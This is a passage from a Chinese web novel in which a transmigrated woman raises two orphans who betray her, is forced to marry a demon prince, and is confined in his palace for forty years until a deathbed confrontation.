而赖皮李这样做的目的也很简单，那就是想要抢走李寻真的豆腐生意。 在李寻真看来，豆腐这门生意实在是辛苦又利润微薄，如果不是她实在没有选择，她是根本不想干这一行的。 可事实上，对于这年头的人来说，能有一门手艺一个稳定的买卖，已经是多少人求都求不得的事了。 豆腐的制作工艺繁琐辛苦，可它同样成本低投入小，就连李寻真这个孤女都能靠卖豆腐养活包括自己在内的三个孩子，更何况别人？ 因此，这几日，当赖皮李偷偷窥视、终于弄明白了豆腐的工艺后，便立即着手赶人了。 毕竟，卖豆腐确实利润微薄，赖皮李可不想跟第二家分享这份利润！ 得知了这个消息后，李寻真和莺儿狗儿都是方寸大乱。 一来，赖皮李和那几个地痞流氓都是成年人，真要起什么坏心思的话，随随便便就能制住她们，甚至再坏一些的，把她们偷偷捆了卖掉也有可能。 而等到他们被迫签了卖身契成为他人家的奴婢，从良籍变成贱籍后，那他们就真的是叫天天不应，叫地地不灵了。 二来，哪怕赖皮李不至于坏到骨子里，没想过把他们三个孤儿卖了，而只是单纯想要独占豆腐生意，把三人的摊子砸了赶走他们，李寻真三人对此也是没有任何办法的。 首先，县里的官老爷们不会管这等小事，而他们也没钱请讼师打官司。 再者，县里的老爷们真的为民做主了，又有什么用？ 想要让几个人——特别是几个没有靠山没有家人的孩子消失的办法多了去了，万一赖皮李那几人恼羞成怒后，真把他们提脚卖了怎么办？ 哪怕不把他们卖了，日后赖皮李他们天天来找麻烦砸摊子又怎么办？这生意还如何做得下去？ 而至于收买当地的地头蛇、恳求地头蛇的保护什么的，这也不是他们这些小孩子做得来的——他们就不怕刚出狼窝，又入虎口么？ 赖皮李可能看在邻居的份上不会做得太过，但那些地头蛇都是手上沾了血的！ 所以，只能躲。 那一天，惶惶不安的三个孩子没有心思再继续处理豆腐的事。 他们敲开小院主人刘大娘的门，向这个热心肠的大娘说明了情况后，拿回自己的租金，收拾了为数不多的家当，便牵着他们最值钱的小驴，连夜离开了这个小镇。 而当李寻真离开这个象征着新生也象征着别离的小院子时，她有些伤感地回头，刚好看到刘大娘拿着一个包袱，匆匆而来，塞给了她。 “李小娘子，莫要怪我，那赖皮李实在是个混不吝的，而我们莫家的男人，老的老小的小，实在惹不起他，也无法为你们撑腰……不过至少，这几年的租金我都给你留着，你且拿回去吧。 “莫要推辞，李小娘子，你这一去，前路难测，那青江城你人生地不熟的，怕是有着万万分的艰难，能有多些银钱傍身，总是好事。 “若你真过意不去，那就待你日后发了家，再多多回来看我这个老家伙吧，倒时候，你再来同我还这些钱，我保证二话不说，把它们全都收下！ “哦，对了，还有这块玉佩。这是那位仙人离开前留给你的玉佩，她说，你虽无仙骨，入不了仙途，日后却应是有一场天大的仙缘，所以她让你拿着这块玉佩，切莫遗失。我原本念着你还年幼，想要为你多保管几年，但你如今既要走了，这玉佩也该物归原主了。 “那、那么，李小娘子，我们就此分别了。还望你日后，珍重珍重！” 在刘大娘的殷殷嘱托和步步相送下，李寻真和莺儿狗儿三人到底离开了这个无名小镇。 李寻真心中虽有对赖皮李的气愤厌恶，但更多的还是不得不与刘大娘分别的悲伤，以及对刘大娘处处照拂她的心意的感激。 她以为，狗儿和莺儿定然也是这样想的。 可事实上，从这一年之后，事情就不太一样了。 并且一年比一年不一样。 这一年的年末，李寻真三人搬到了青江城。 因吃了赖皮李地亏，知晓凭她们几个孤儿的力量是没办法守住一门手艺的，于是便干脆把豆腐的制作工艺及几个与豆腐有关的食谱打包，卖给了出价最高的酒楼掌柜，之后，她们便安安心心地租了个小院子住下。 为了避免坐吃山空，李寻真和狗儿莺儿三人又寻了事做。 李寻真和莺儿两个女孩子，则进了绣楼当绣娘学徒。 其实，李寻真和莺儿两人的年纪，对于当绣娘学徒来说其实是大了些的，但好在她们两人都十分聪颖，因此那绣楼管事看在她们也交了学艺银钱的份上，把她们收下了。 至于狗儿，他其实也是想要跟李寻真和莺儿两人一样，去当个学徒，学门手艺的，但至今没有找到门路。 也对，在这个一门手艺能够养活一家人的时代，有多少手艺是能够轻传的？又有多少人为了一门手艺甚至为了一个制作图、一个菜谱就闹得头破血流家破人亡？ 教会徒弟饿死师父，这在这年头可不是危言耸听！ 因此，直到这一年的年底，狗儿都没有找到他能做的事。 当又一年新年来到，作为大城的青江城的天空绽放出了更绚丽的烟火时，三人再一次在这样的烟火下闭目许愿。 李寻真许愿道：“我希望，大家的日子能平平稳稳，越过越好。” 随了李寻真姓后改名为李茵的莺儿，向往地许愿道：“我希望，能与真儿姐姐快些赚钱，赚大钱，日后再不必过苦日子了。” 改名为李照的狗儿许愿道：“我希望日后再不会被人欺负，所有属于我的东西，都不会被人抢走！” 李寻真有些惊讶地看了莺儿和狗儿，不，是李茵和李照一眼，没想到两人的愿望竟然有了这般大的变化。 她隐约察觉到，有什么东西正在改变，可她并没有太过放在心上，只以为是这一年赖皮李给他们留下的阴影太过，让他们生出了想要改变的心思。 这都是正常的，李寻真可以理解这样的改变。 她可以理解一个孩子眼睁睁看着他人夺走自己的重要之物，而自己却只能低头退避三舍连夜搬家的不甘和委屈。 所以她也可以体谅，当处处碰壁的李照终于放弃当某个老师傅的学徒，而想要读书时的心情。 那时候，在听到李照的打算时，李茵第一个挂了脸。 但她没有直接对李照表示反对，而是回头对李寻真抱怨了起来。 “狗儿他啊，真是异想天开，竟然说想要去读书。读书多花钱呀！”李茵像是一个小大人，说得头头是道，“瞧，给先生的束脩，四季礼品，学习用的笔墨纸砚，还有与同窗的人情往来，这些东西哪样不要钱？ “狗儿他本来这一年就没赚什么钱，全都是我们在绣花养他，眼睛都快熬瞎了，而且我们自己也是学徒，挣钱很少，全靠之前的那点儿积蓄撑着，可不能乱花！ “但如今，狗子竟然说想要读书？读书的钱从哪儿来？还不是从我们这儿出！可我们又哪儿来的这个钱呀！ “更何况，就算我们真的出了这个钱，狗儿他又能考上吗？如果能，要考多久？四十多岁的老童生比比皆是，难道狗儿要我们供养他四十年，供他穿衣吃饭，供他上学念书，还供他日后娶妻生子么？！” 穷人的孩子早当家。 当李寻真还想着“读书是人类的唯一出路”，想着狗儿去读书的可行性的时候，莺儿已经头头是道地把读书相关的所有抛费都捋了一遍。 而她的想法其实也可以总结为一句话：读书的投入太大，获益虽高但不确定性也非常高，不供！ 但，“万般皆下品唯有读书高”这句话可不是说来听听的。 在古代，底层人唯一的出路就是去考科举，而哪怕狗儿最后百般辛苦只考了个童生，日后再无法向上一步了，可只要有了这个童生身份，像赖皮李这样的事件就再不会轻易在他们身上发生了。 所以，很快的，李寻真拍板：供！ 既然狗儿真心想读，那她就想办法供！ 为此，李寻真绞尽脑汁，又想了好几个食谱方子，卖给了酒楼掌柜，并越发刻苦地学习起了刺绣。 狗儿对此自是感激不已，可明明之前一直同李寻真最为亲近的莺儿，却不知道为什么，也不知道什么时候，跟李寻真悄然疏远了。 李寻真起初不明白为什么，但之后，某一天，在莺儿状似开玩笑般脱口而出的某句话中，她窥见了端倪： “寻真姐姐，你是不是也觉得男孩子比女孩子更重要更金贵？不然当初我们在镇里卖豆腐时吃了那么多苦时姐姐你没有卖方子，搬来青江城后天天学刺绣、熬得眼睛一天比一天坏时，姐姐你也没有卖方子，可狗儿一说要读书，你马上就把这些卖掉了……寻真姐姐，你果然还是更看重男孩子吧？” 李寻真十分惊讶。 她完全不知道莺儿竟是这样的想法。 李寻真想要辩解，想要告诉莺儿，卖食谱方子其实不是什么长久之计，而她让莺儿去学刺绣，也是觉得人总要有一技之长，而不是为了让莺儿日后用刺绣去赚钱养家。 她还想要说，镇里的酒楼看着气派，实则管理混乱，方子必然卖不出高价，而她们当时刚搬到青江城时，则是对青江城的一切都不熟悉，正应该低调行事，倘若那时候她们就贸然出手大量食谱方子，一来很容易被人盯上，惹来不怀好意的人，二来她们也不见得能保住那些银钱。 她还想要说，只供狗儿读书，并不是因为她看重狗儿，觉得狗儿比莺儿更重要，而是因为读书明理，因为孩子本来就该去读书，如果不是青江城没什么女夫子，而书塾里的那些老顽固又坚决不肯教女孩子，她其实是想要把莺儿也送去读书的。 可李寻真的这些话刚刚出口，莺儿便露出惊讶表情，笑着摆手，说自己只是开玩笑的，让李寻真莫要多想。 于是李寻真的这些辩解，便又只能咽了回去。 也正是在这一年年底，李寻真又听到了他们的新年愿望。 李照说：“希望我日后能出人头地，保护真儿姐姐和莺儿妹妹再不受任何人的欺负，让我们再不会被任何人踩在脚下。” 李茵说：“希望我能快些遇到一个如意郎君，从此过上呼奴唤婢、穿绫罗绸缎吃山珍海味的好日子！” 李寻真真切感到，有什么东西改变了。 之后，岁月如梭。 第七年，李寻真的积蓄见底了。 毕竟，供养一个书生的耗费还是太过可怕了，而她脑袋里的菜谱本也不多，到了这一年也差不多卖了个精光。 李寻真无可奈何，只能咬牙卖掉了那块仙人留给她的玉佩。 在当铺出手那块玉佩时，李寻真遗憾地想，或许自己真的与仙无缘，才留不住这样重要的东西吧。 但是，遗憾归遗憾，比起那一段不知在何处的、遥不可及的仙缘，果然还是过好眼下的日子最为重要。 她虽遗憾，但不后悔。 得了银子后，李寻真在从当铺回家的路上，给视为弟弟的李照买了青江城最好的笔墨纸砚，又给视为妹妹的李茵买了她眼馋许久的金簪。 事实上，李寻真本是想要给李茵买一套最新的绣品花样的，可思来想去，又怕心思细腻的小姑娘多想，以为她这个当姐姐的是在催她多干活，认为她又偏心弟弟，于是便干脆买了个金簪。 李寻真想，这次应当不会出问题了吧？ 到家后，李茵和李照都欢欢喜喜地收下了各自的礼物，李寻真大大松了口气。 可也正是这也晚上，起夜的李寻真发现与自己同住一房的李茵床上是空的，而窗外，有人点着灯，窃窃私语。 “……有时候我真是羡慕你，照哥哥，我经常想，若我也是男儿就好了。若我是男儿，我也会有读书的机会，而不必点灯熬油、日夜绣花，感受着自己的眼睛一日坏过一日；若我也是男儿，寻真姐姐必然也会高看我一眼，而不是把我当作什么能随意打发的玩意儿…… “瞧，寻真姐姐给你的礼物，是笔墨纸砚，是与你的前途、你的未来有直接关系的物件，可她给我带的礼物，却不过是妆点外貌的外物罢了。她看重你的未来，却只关心我的外貌，照哥哥，我是真的羡慕你啊……” 在李茵黯然的叹息中，李照关心回道：“茵茵妹妹，你切莫妄自菲薄。你虽为女子，却从小聪颖，胸有锦绣，半点不输男儿，若非当年的变故，你如今还是官家女子，才名也必定早早传扬出去，名震京城，又怎会在这里当这个小小绣娘？ “李家姐姐虽然救过我们，但她说到底不过是一介孤女，自然鼠目寸光，毫无远见，不知女儿身也能有锦绣前程、满腹经纶，这才小瞧了你的才能…… “茵茵妹妹，你且放心，我日后必定悬梁刺股，日日苦读，待我有朝一日金榜题名，我必用八抬大轿，将你风风光光求娶进门，让你成为高高在上的官夫人，从此过上呼奴唤婢的日子，再不必和农妇一样庸庸碌碌，日日操心生计与一日三餐。” 李茵仍然犹豫。 “那、那寻真姐姐怎么办？我看得出来，寻真姐姐她定然也是对你有好感的，否则这些年来怎么会对你这样好，又怎么会这样偏心你、爱护你？” 李照一笑：“这有何妨？李家姐姐若当真心悦我，日后你为妻，她为妾便是了。看在她救过我们的份上，我们好好奉养她的下半生，也算是仁至义尽。当然，我心中只有你，茵茵妹妹，我纳她只是为了报恩，你明白的吧？” 李茵沉默了一会，低低“嗯”了一声。 之后的两人又说了什么，李寻真没有再听下去了。 她回到床榻上，装作熟睡的样子，没有惊动任何人，但也没有再睡着了。 李寻真想不明白，为什么事情会变成如今的样子，也想不明白那两个曾经乖乖依偎在她身旁叫她姐姐、对她千依百顺，会因为她的辛苦而感恩，也会因她的伤口而含泪的两个孩子，是怎么变成如今的这个模样。 人究竟是在不知不觉中烂掉的，还是在某个瞬间突然烂掉的？ 那些初见时的害羞和胆怯，难道都是伪装？那些曾像小兽一样维护她这个姐姐、对敢于为难她的人露出凶恶爪牙的孩子，难道只是她的错觉？还有那些在寒风中相互取暖、相依为命的过往，难道都是她的大梦一场吗？ 又或者说，某些人其实从一开始就是腐烂而恶臭的，只是因他们掩饰太好，而她又有眼无珠，所以才会将那些恶臭腐坏的脓疮误以为完好无缺？ 李寻真辗转反侧，没有答案。 而李寻真也没有太过为难自己，去逼迫自己思考这些永远得不到答案的问题。 她只是在这一天之后的某个早上，收拾了包袱，拿走了自己售卖玉佩换来的积蓄，牵着长大了的小毛驴，无声无息地消失在了青江城外的晨光中。 李寻真没有选择去质问这两个孩子。 她没有问他们为什么从未告诉过她自己的身世，问他们为何如此看不起救下他们性命的恩人，甚至以恶毒心思揣度她的用意。 因为李茵和李照今年才不过只有十二三岁，这个年纪的孩子，连大脑都未发育完全，说白了就和一头会说话的野兽没有区别，会说出什么恶毒愚蠢的话都不足为奇。 但与此同时，李寻真也没有选择原谅，没有忍气吞声地供他们长大成人、成家立业后再向他们发难。 因为她救下这两个孩子、视他们为弟妹时，是她的选择，出自本心，从不后悔。 所以当她抛弃这两个孩子、视他们为水火时，同样也是她的选择，发自真情，无愧于心。 她不欠任何人，所以不必为任何事感到愧疚。 李寻真洒然离开了青江城，没有回头。 那时候的李寻真以为，这应当就是她与这两个孩子最后的缘分了。 但，六年后，也就是李寻真十九岁的那一年，突然有仙师从天而降，落在了她的院子里。 那位仙师模样俊美，剑眉星目，衣饰华贵，纤尘不染，从发冠到鞋底无一不精致，与自幼辛苦劳作、手上茧子厚得摸绸缎都会勾丝的李寻真看起来简直不像同一世界的人。 可那仙师却是语出惊人，一见到李寻真便说道：“李寻真，我与你还有一段因果未了，需要你与我成婚，以此了结这段缘分。” 李寻真几乎惊得呆了：“你与我有何缘分，竟需要成婚来了结？” 那仙师说道：“你曾救我一命，我需还你一段仙缘。” 李寻真不知道自己什么时候救了这样的人物，因为她救的人实在太多了，所以她只是问道：“既是仙缘，为何你不收我为徒，引我踏上仙途，而非要与我成婚？” 仙师不耐说道：“你身无仙骨，收你为徒又有何用？以你的资质，怕是死了都无法踏上仙途，你又何必做这等白日梦？如今，我以一段姻缘报答，已是仁至义尽，你还有什么可挑拣的？” 李寻真气笑了：“这位仙师，对于你来说，我或许贫穷、卑微，相貌平平，甚至对你来说可能是丑陋不堪，所以你便以为我能有机会与你结下姻缘，是我九辈子才修来的天大福气。 “可我要告诉你，我的灵魂自由而独立。我活到现在，从来不攀附任何人，也没有加害过任何人。我与人为善，救下的人不计其数，我还乐善好施，授人以渔，帮助无数人找到了生命的出路！ “我从不以我的样貌而感到自卑，所以也不会因你的俊美就认为低你一等，我或许是天地间再渺小卑微不过的一个生命，但卑微不是卑贱，所以我也绝不会比你低贱！ “你以为与我结下姻缘就是天大的恩赐了？可你有询问过我的意见吗？你有想过我是否愿意与你成亲吗？你没想过，因为你从一开始就瞧不起我！ “既然如此，我便也直白地告诉你，我不肯与你成亲，不愿与你缔结姻缘！因为我比你瞧不起我更瞧不起你！” 那仙师有片刻呆滞，似乎有瞬间动容。 可他很快回神，不屑道：“井底之蛙，如何敢对天上月大放厥词？你可知晓，若非你曾幸运地救我一次，以你这样的身份，怕是一辈子都没有接触到我的机会？！ “好了，莫要自抬身价，也莫要做那无谓的口舌之争，我肯与你成亲，你接受就是，哪来那样多废话？！” 不等李寻真再开口叱责，那仙师大袖一挥，瞬息就把李寻真带到了万里之外的魔族之地，断绝了李寻真与她经营数年的人际关系，也断绝了她与那头带在身边十多年的小毛驴的联系。 而直到李寻真被迫穿上嫁衣，盖上红头盖，被侍女压着与那仙师拜天地时，李寻真才终于知晓，那所谓的“仙师”根本就不是仙师，而是魔族少主帝昭！ 也是直到这一刻，李寻真才终于福至心灵，骇然发现了自己穿书的事实，也发现了自己当年救下的那两人的身份，以及身旁那个逼迫她拜堂之人的身份。 狗儿，李照，帝昭，魔族少主。 莺儿，李茵，宋茵茵，仙帝之徒，命中注定的神女。 多可笑啊。 当年的那份怜悯和爱护，那些如大梦一场的亲情和相依为命。 那些原本在她心中珍藏的记忆，对如今的这两位天之骄子来说，恐怕都是她这个凡人的处心积虑的攀附和不知廉耻的自抬身价吧？ 多可笑啊。 被自己所救之人鄙夷轻蔑，比作“井底之蛙”的——她。 当年，在省吃俭用，将仅剩不多的口粮让给两个毫无关系的孩子时，李寻真没有后悔。 而在她起早贪黑，为了养家糊口绞尽脑汁、在寒风中瑟瑟发抖的时候，李寻真没有后悔。 就连在她卖掉重要的仙人玉佩给两人换来物件，却又被两人恶毒的揣测伤透了心的时候，李寻真同样没有后悔。 可这一刻，在李寻真被这位魔族少主帝昭“施舍”来一场婚姻时、在李寻真被浩荡法力逼迫得跪下，对着天地结结实实磕了三个头时，李寻真终于后悔了。 好后悔啊。 她想。 为什么会这样呢？ 她的一生，分明从未做过恶事，为什么她竟会得到这样的结果？ 虽然她行善从不为回报，可她难道就该得到恶报吗？ 还是说乐善好施、与人为善，本就是一场错误？ 再一次的，李寻真陷入了彷徨。 就像是在心中饲养着一条毒蛇。 每当悔意蔓延，如刺人的荆棘从她胸膛长出时，那条看不清面目的毒蛇的毒液就会悄然低落，灼烧着她的心。 李寻真苦苦坚持着，可她不知道自己在坚持什么，不知道自己能坚持多久。 她只是觉得，自己有点坚持不下去了。 第140章 神女（三） 你可欢喜？…… 这是一本名为《神女无心》，又或者是名为《永夜无疆》，也有可能是《永恒之界》的小说。 说实话，穿越十九载，李寻真其实已经记不太清自己当初随意看过的那本小说究竟叫什么名字了，只记得那个名字曾被人称赞为“很有格局”。 而荒谬的是，直到李寻真穿越十九载后，她才终于发现，自己原来并非普通的穿越，而是穿书。 可是，连书名都不记得了的李寻真，自然也不太记得这样一本被称赞为“有大格局”的小说，具体说了个什么故事。 她只记得这本书的主线，大约是穿越为光禄寺少卿之女的女主宋茵茵，在其父被卷入夺嫡之争抄家下狱后，靠其聪慧逃脱天牢，从此流落民间，后又遇上了她还是大小姐时曾施舍过的乞儿狗儿，与狗儿相互扶持长大，接着被偶然路过的仙帝谢承误认为魔族之人，动了恻隐之心，带回仙界悉心教导。 后来，宋茵茵历经了无数劫难，用权谋之术，踩着尸山血海甚至剑斩情缘，终于击败自己的师尊兼爱人，独自踏上仙界最高点，成为一代女帝，最后。在面对三界浩劫时，她还为了拯救苍生毅然献祭己身。 苍天感念她的付出，令她死而复生，并集万千气运和力量于她一身，让她不仅仅是仙界女帝，而是成为了天上地下四海八荒当之无愧的第一人！ 单从这个主线来说，这应当是个非常励志的剧本，并且具备了“大女主”这个流行元素，是非常讨人喜欢的。 这从上一世李寻真这个对小说并不热衷的社畜，都听过、看过、记过这个故事，就能看出它的流行度。 但不知道为什么，李寻真对这本小说的印象并不好，面对那些被书粉挑出来再三赞美的金句时，李寻真也难以苟同。 ——陷入情爱的女人是最愚蠢的，她们不懂，只有权力才是女人真正大补之物！ 李寻真实在无法认同。 她始终记得自己初中的历史课堂上，那个声音柔和的女老师曾在闲聊时说起的话： 现在资本主义文化用于市场的成本和收益分析，已经渗入到了人们生活的私人领域，绩效原则更是被用来衡量爱与性，可是人们忘了，“爱”是永远不可被称量的。同学们，你们现在可能不明白，但你们要记得，如果在一个文明里，连“爱”都被物化、被称量、被购买，那么这个文明也差不多走到了尽头。 她还记得自己高中政治课堂上，那位不苟言笑的政治老师，在讲课前的第一句话说的是： 我们之所以学习这些内容，是为了掌握事物的核心规律，为了用它们来消灭阶级和人上人，而不是为了让自己成为人上人。 李寻真不懂，为什么宣扬一个理念一定要通过贬低另一个理念来实现。 亲情，友情，爱情，这些都是“爱”，都是“情”。有“情”之人，为何就低人一等？ 先爱己，再爱人，最后去爱天下的每一个人。这样的人，为何就愚蠢低贱了？ 而连身边具体的人都不肯“爱”的人，你口口声声的“爱苍生”又如何实现？还是说爱一个虚假的概念就是所谓的“大格局”了么？ 而李寻真同样不明白，为什么一个享受了自由、平等、公正、法治的现代人，在穿越后会以那样理所当然的态度融入阶级森严的等级制度里，理直气壮地说“我要成为人上人”，并摇身变作这个等级制度的忠实捍卫者。 是的，一个人的确难以对抗一个社会的制度，对抗一个体系的压迫，一个穿越者就想要改变世界是不现实的。 但不加入这个体系，不去助纣为虐，不成为这个体系里那柄挥手砍向无辜者的刀，有那么难吗？ 李寻真有太多不明白的事，她有太多会人嗤笑天真愚蠢的想法，还有太多说出口后会被人以“只是一本网文小说”“按你说的那样写就不好看了”“快餐文学较什么真”就轻易驳斥了的观点。 于是李寻真没有与旁人辩论什么，只是将这本小说放下就罢了。 可如今，李寻真却突然发现，她竟然穿越到了这样一个以她无法认同的理念为核心的世界里。 而更不可思议的是，她以一个路人甲的身份，卷入了主角团的故事中，成为了从未在小说里出现过的流浪小团体的第三人。 李寻真不想去思考，为什么同为穿越者，莺儿她、不，宋茵茵她却能心安理得地装作孩子，在那段最艰难的时日里依然冷眼看她一个人折腾了那么些年，沉默接受她的照顾。 李寻真也不想去思考，那位魔族少主帝昭究竟是出于什么样的心态，才强行把她捆到魔族，押着她拜了天地，向三界昭告他魔族少主帝昭之妻，名为李寻真。 李寻真只是忍不住思考，在加入了她这个预期之外的人后，这个大女主爽文故事，又会走向何方？ 李寻真不知道。 她预测不到那样遥远的事，也没有太多时间思考那么久远的未来。 因为她如今的当务之急，是自救。 在那一场隆重却又轻慢、昭告天下却又无人看重的婚礼后，李寻真就被困在了魔宫中。 李寻真并不想留在这座华贵雅致、却又在每一个缝隙每一道地砖里藏着鲜血的宫殿里，但作为一个只有一点儿力气的凡人，她想不出自己要如何做，才能从魔宫的无数双眼皮底下逃脱。 因为作为魔族少主的妻子，哪怕魔族少主自己都不甚在意，婚礼礼成后就直接把李寻真撂下、消失不见了，但他离开前留给李寻真的阵仗，却半点不小。 其中，有贴身侍婢四人，负责李寻真的日常起居；衣饰管理四人，负责管理李寻真的服饰、首饰库房、熏香熨烫，仪容配饰；饮食侍奉四人，分别精通茶艺、糕点制作、风味烹饪、药物调理；礼仪侍女两人，负责教导礼仪、安排节礼；文书侍女两人，负责协助少主夫人处理宫中账目。 这就已经有十六人了，而其他负责洒扫浆洗的杂役宫人，更是数不胜数！ 李寻真不过是一个凡人，她实在没办法从这么多人的注视下逃跑。 甚至每当李寻真表露出一星半点儿的想要离开宫殿的想法，都会立即被魔宫里的这群人精侍女发现，牢牢盯住，左右不离。 而哪怕李寻真想方设法地找借口，甩开了她们片刻，冲向宫外，那些看守宫门的侍卫们，也绝不会对她睁一只眼闭一只眼。 就这样，李寻真被留在了这座深深的魔宫里，日复一日，年复一年。 哪怕周遭的侍女守卫们在明面上都听从她的命令，没有半点怠慢于她，但单单只是不允许她离开宫殿一步这件事，就让李寻真敏锐察觉出了那一张张在她面前恭敬低垂的脸上隐藏极好的轻蔑不屑。 李寻真明白，自己与其说是魔族少主的妻子，不如说是一个被帝昭以报恩之名关押在魔宫里的囚犯，一个让帝昭了结因果的工具人。 待到她“富贵一生，寿终正寝”之时，就是帝昭神功大成之日。 这对帝昭来说固然是好事，只要他耐心等上半个世纪，就能轻易还掉一份救命的恩情，了结一段尘缘。 而半个世纪的时间，对寿命动辄千年的魔族少主来说，长吗？ 不长。 也就闭关修炼一次的时间而已。 所以用成亲和富贵报恩，对帝昭来说是非常划算的，毫无疑问。 可对她李寻真来说，又是好事吗？ 或许是吧。 荣华富贵，寿终正寝。 在这个人命如草芥的年代，这短短八字是多少人求都求不来的美好一生啊！ 而哪怕对现代人来说，这或许也是相当美好的一生，因为她富贵荣华的同时，既不用生孩子，还不用伺候老公。 有钱有闲死老公，谁不说这样的女人好命呢？ 若有人知晓了李寻真现在的境遇，肯定会有无数人骂她不知好歹，骂她假清高真命贱，又或是大喊“别慌，老奴闪亮登场”、“死丫头吃这么好还这么拧巴，干脆让我来演两集”之类。 可李寻真就是不愿。 她就是讨厌魔宫里的一切。 那些繁琐得每一个眼神都要被框好的礼节，层层叠叠让人喘不上气的衣服，沉重至极扯得她头皮疼的首饰，像鬼影子一样没办法甩开的侍女守卫，一声接一声的“少主夫人不可疾行”、“少主夫人切记仪态”、“少主夫人定要忌口”、“少主夫人”…… 李寻真是真的讨厌这些无形却又牢牢拴在她脖子上的束缚。 曾站起来当过人的，如何还能弯下腰去做狗？ 哪怕是狗王，那不还是狗么！ 曾在天空自由翱翔过的，如何还能被关在笼中？ 哪怕笼子金碧辉煌，那不还是笼子么！ 李寻真总是忍不住想念那个她攒了许久的钱才肉疼买下的小院子，想念自己两年前被路过货郎糊弄着买下栽好的枣树，想念自己学习邻家大娘在院子里搭起的葡萄藤，还想念自己为毛驴小瓜开垦好的小菜地。 她想念那个陪伴自己磨豆子卖豆腐、后又陪伴自己走过万水千山的小毛驴，想念邻居家拿着根树枝说要仗义走天涯最后被爹娘混合双打哭着抛弃自己侠客梦的小鬼头，想念早市上卖葱油饼和酱饼时总记得给她留一份的豪爽大娘，想念那些在旅行路途中萍水相逢后又各自分别的友人与知己。 世界那样广阔，如同浩瀚无垠的天空和星海，她明明是走过的，可如今能够被李寻真看到的，却只剩下魔宫上方那一个四四方方的小格子。 魔族少主帝昭曾轻蔑称她为井中蛙，那时候的李寻真并不认同，因为她知道自己有一肚子的古今中外的哲学和理念，知道自己走过无数的地方，见过无数的人与事，有被知识托举的灵魂。 她付出过也得到过，被欺瞒背叛过也被人无条件地救助过，她从不觉得自己的生命有哪怕一分一秒的时间黯淡无光。 可如今，在被这座华丽囚笼困住后，李寻真却觉得，自己似乎真的开始有点儿像那井中蛙了。 李寻真知道，自己必须要自救。 李寻真先是试着与魔族宫殿里的宫人们打好关系，培养真正属于自己的心腹。 可是，不知道为什么，分明魔宫的管理因帝昭的离开，失去了真正能说得上话的主子，人心浮动、外紧内松，可对于李寻真的试探也好收买也好，那些宫人总是态度暧昧，模棱两可。 李寻真十分不解，不明白这些人为何会有这样的古怪态度，直到她意外听到了两个宫人的闲聊： “……哇，紫金翡翠镯，那个凡人竟然给了你这个，看来果然不是自己的钱花着不心疼。” “什么嘛，还不是因为那凡人不识货？！如果那凡人知晓这镯子有多么稀有贵重，我可不相信她舍得赏我！” “不管怎么说，好处还是你拿到了……嘻嘻，死丫头，你可真好命，早知道那个凡人今日手这样松，我就不让你帮我上值了。” “怕什么？她有求于我们，日后定是还要继续重赏我们的，且等着吧，等她把少主配给她的私库赏完了，我看她怎么办！” “唉，想想可真是不甘心啊。不过区区一介凡女，身材矮小，貌若无盐，却因救过我们少主而成为我们魔族的少主夫人，真是想想都气得肝疼……那样丑陋的凡人，如何配得上我们的少主大人？” “莫气莫气，我们少主大人不过是为了报恩罢了，怎么可能真瞧得上她？这都两年了，少主大人不是一次都没有回过帝宫么？” “更可气了！少主为了避开那个凡人两年未回帝宫，连累得我们也两年未曾瞧见少主了，这事儿，你难道就不气么？” “且安心吧，只要我们慢慢熬，熬死这个凡人，少主就会回来了……” 这一天，在这一个寻常的午后，李寻真突然明白了问题所在。 原来，她这段时日的示好和收买，都做了无用功。 因为在这些魔族宫人眼里，她既不是魔族的少主夫人，也不是与她们同样的可怜人，而是低贱的凡人。 她们的地位是不对等的。 魔在上，人在下。 上位者永远不会记念下位者的付出，而只认为理所当然。 所以李寻真所有的示好甚至施恩，在魔族宫人们看来都是李寻真应该做的，不会记李寻真的半点好。 甚至她们还会主动将李寻真对她们的好，记在那个自始至终都未曾露脸的帝昭身上，并反过来认为李寻真大手大脚，既没有眼见，还自降了身份，不愧是低贱的凡人。 当明白这一点后，李寻真沉默地在窗前坐了许久许久。 她没有生气，她只是为这样的世界感到悲哀，也为不幸来到这个世界的自己而悲哀—— 当力量这条道路被堵死，人心这条道路也走不通时，她究竟要如何做，才能逃出这座金色的囚笼，救自己于水火之中？ 李寻真想啊想，想啊想。 从十九岁想到二十九岁，三十九岁，四十九岁，原本如瀑的青丝花白，而那张年轻的脸上也爬满了皱纹。 在这些年里，她闹过绝食，也闹过自杀，爬过狗洞，也跳过楼。 她想尽一切办法，想要把帝昭闹出来，想要和帝昭或者任何一个说得上话的人谈判，哪怕几句话也好。 李寻真相信，只要有机会，她一定能想到办法说服这些人放她离开这座囚笼。 可无人理会她。 魔宫里的那些宫人们，分明是活着的，注视她的目光却像是死物般冰冷。 五十九岁，李寻真依然没想到逃脱的办法，但她也不必再继续想了，因为她的寿命，在这一天终于走到了尽头。 而也正是这一天，这座整整四十年未曾开启的囚笼，终于迎来了它真正的主人和第一位客人。 所谓的主人，毫无疑问是那消失了整整四十年的帝昭。 四十年未见，帝昭依然一身仙气飘飘，与李寻真四十年前记忆中见过的那位“仙师”无异。 可跟在帝昭身后走进来的那客人，却比帝昭更光彩夺目。 如果说帝昭是“仙师”，那这位客人就是“神女”，如果说帝昭是高岭之花，那这位客人就是天上月！ 在像是虚假又像是真实的渺渺仙气里，那“神女”走近了，屈尊降贵地在李寻真病榻旁坐下，毫不嫌弃地伸出她白玉雕琢般的手指，握住了李寻真那只苍老又长满老人斑的大手，露出一个亲切笑容。 “寻真姐姐，我是莺儿呀，还记得我么？我曾经承诺过，定会报答你的恩情，而我也知晓，比起我来你更喜欢昭哥哥，所以当年，我劝昭哥哥娶了你，给予了你凡人穷尽一生都想象不到富贵荣华……怎么样？如今四十年过去了，你可欢喜？” 电光石火间，李寻真明白了一切。 原本奄奄一息的她如回光返照般抓紧了宋茵茵的手，目眦欲裂：“是、是你？！你——” 是故意的！ 这一瞬间，被关在囚笼里整整四十年无人倾诉不可逃脱的绝望、苦闷、悲痛、疯狂，甚至是憎恨，再也无法被理智关押，化作怨毒的潮水汹涌而出，几欲将李寻真整个淹没！ “为何？宋茵茵，为何要这样对我？” 李寻真眼泪在脸上纵横，如垂死的野兽一样绝望，声嘶力竭。 “我有哪里对不住你？你为何要害我？为何要害我？！！” 140-150 第141章 魔女（一） 她再也做不了…… 四十年。 整整四十年啊！ 一个人的一生能有几个四十年？！ 在被囚困在魔宫的这四十年里，李寻真看过了魔宫里的每一株花草树木，走过了每一块地砖，更数清了那好似没有尽头的高耸围墙上每一条弯曲的墙缝。 